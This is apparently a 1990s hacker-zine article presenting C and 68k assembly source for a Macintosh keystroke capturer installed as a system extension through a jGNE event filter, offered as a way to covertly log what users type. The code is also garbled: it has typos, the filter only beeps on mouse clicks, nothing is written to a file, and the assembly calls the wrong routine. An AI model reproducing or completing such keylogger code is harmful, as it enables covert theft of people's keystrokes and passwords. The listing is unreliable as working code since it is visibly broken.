Macintosh Key Capturing by Swarthy In the Winter 1994-95 issue's article entitled "More Key Capturing," the author provided some interesting multi-platform insight, but didn't mention a quick key capturing scheme for the Macintosh... after all, they are the most flawed in terms of security. Included here is the necessary explanation and code needed to pull off a key capturer for the Macintosh. In a Macintosh, everything is based on events, but the Mac doesn't give us a nice powerful set of routines to deal with the key down/up events in the way that we plan to deal with them. So, in order to get the keys first (without missing any) we must write a jGNE filter. This, unfortunately, can only be done in 68k assembly language. The ASM included is the guts of the filter, the rest is just writing the 'char' into a file. This is written to be compiled with THINK C or C++, and should be built as a system extension. This is not my code, by the way. --begin code-- /* This is a key capturing program using a jGNE filter, for the Macintosh */ /* This is written to be compiled with THINK C or C++ and should be built */ /* as a system extension */ #include <Resources.h> #include <Memory.h> #include <Events.h> #include <SetUpA4.h> #include <SysEqu.h> static void *gOldJGNE; static pascal * SetJGNEFilter (void *newFilter) { void *result = *(voide **) JGNEFilter; *(long *) JGNEFilter = (long) newFilter; return (result); } static Boolean myGNE (EventRecord *event, Booleab preResult) { Boolean postResult = preResult; if (event->what == mouseDown) SysBeep (10); return (postresult); } static void myJGNE (void) { static Boolean inJGNE; asm { MOVE.L A1,A0 ; save event record pointer from GetA4 JSR GetA4 ; point A1 at our A4 MOVE.L A4,-(A7) ; save old A4 MOVE.L (A1),A4 ; get new A4 MOVE.L A0,AT ; restore old A1 TST.B inJGNE ; is myJGNE busy? BNE @1 ; yes, so bail MOVE.B #true,inJGNE ; mark myJGNE busy MOVE.W D0,-(A7) ; push pre-result MOVE.L A1,-(A7) ; push even record pointer JSR myJGNE ; do the real work MOVE.L (A7)+,A1 ; restore event record pointer ADDQ.L #2,A7 ; pop pre-result; post result in D0 ASL.W #8,D0 ; bump C boolean to Lisa MOVE.W D0,8(A7) ; stash result where caller expects it MOVE.B #false,inJGNE ; mark myJGNE not busy @1 MOVE.L (A7)+,A4 ; restore A4 MOVE.L A0,-(A7) ; return to previous JGNE } } pascal void main (void) { void *me; asm { MOVE.L A0,me } RememberA0 ( ); SetUpA4 ( ); DetachResource (RecoverHandle (me)); gOldJGNE = SetJGNEFilter (myJGNE); RestoreA4 ( ); } --end code-- Source Code